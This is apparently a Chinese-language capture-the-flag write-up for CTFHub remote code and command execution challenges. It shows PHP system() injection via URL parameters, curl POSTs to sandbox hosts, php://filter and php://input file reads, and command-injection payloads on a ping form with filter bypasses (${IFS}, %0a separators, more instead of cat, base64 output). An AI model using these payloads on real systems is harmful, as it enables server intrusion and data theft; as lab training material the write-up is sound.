RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)是互联网的一种安全漏洞。
它可以让攻击者直接向后台服务器远程注入操作系统命令,相当于直接操控服务器电脑的cmd命令行!从而操控后台系统,高危漏洞!
RCE漏洞产生的根本原因:服务器像php环境版本对可执行变量函数没有做过滤,导致在没有自定义相对路径的情况下就运行命令去执行,从而导致服务器被入侵。
我们直接在输入栏上输入类似cmd的命令行,直接操作web服务器执行我们所写的命令内容
查看根目录文件
/?cmd=system("ls");
查看上层目录文件
/?cmd=system("ls /");
/?cmd=system("cat /flag_25527");
注意:指定post的参数是-X
查看根目录下的文件
curl http://challenge-f05c3f8de577c75c.sandbox.ctfhub.com:10800?file=shell.txt -X POST -d "ctfhub=system('ls');"
curl http://challenge-f05c3f8de577c75c.sandbox.ctfhub.com:10800?file=shell.txt -X POST -d "ctfhub=system('ls /');"
curl http://challenge-f05c3f8de577c75c.sandbox.ctfhub.com:10800?file=shell.txt -X POST -d "ctfhub=system('cat /flag');"
php://input 是个可以访问请求的原始数据的只读流。
php:// — 访问各个输入/输出流(I/O streams)
http://challenge-fed4f529e8cc5fff.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag
首先这是一个file关键字的get参数传递,
php://是一种协议名称,php://filter/是一种访问本地文件的协议,
/read=convert.base64-encode/表示读取的方式是base64编码后,
resource=/flag表示目标文件为flag。
发现和php://input的解法一致
使用burp suit抓包
查看根目录
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件
本关简介:这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件
然后输入
ip & cat *.php | base64
base64加密是要有的,不然没有内容,被杀毒工具拦截
本题提示:过滤了cat命令之后,你还有什么方法能读到 Flag?
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
使用more输出base64密文
12.0.0.1 & more flag_1482210209678.php | base64
过滤了空格,使用<代替空格(这一步也可以用/**/代替空格,但是下一步就不管用了,不知道为啥)
12.0.0.1/**/&/**/ls
127.0.0.1|cat
12.0.0.1 & ls
12.0.0.1;cd flag_is_here;ls
12.0.0.1;cd flag_is_here;cat flag_25031515915026.php|base64
127.0.0.1 ; ls
127.0.0.1 ; base64 flag_179401013825017.php
过滤了管道符|,不能再使用了。但是base64 a.php和a.php|base64是等价的。
过滤了(\||&|;| |\/|cat|flag|ctfhub)
空格可以用${IFS}
cat可以用more
flag可以用正则f***
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
因为这个都是url编码所以都要直接写在网址内部
?ip=127.0.0.1%0als#
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_14642431519912.php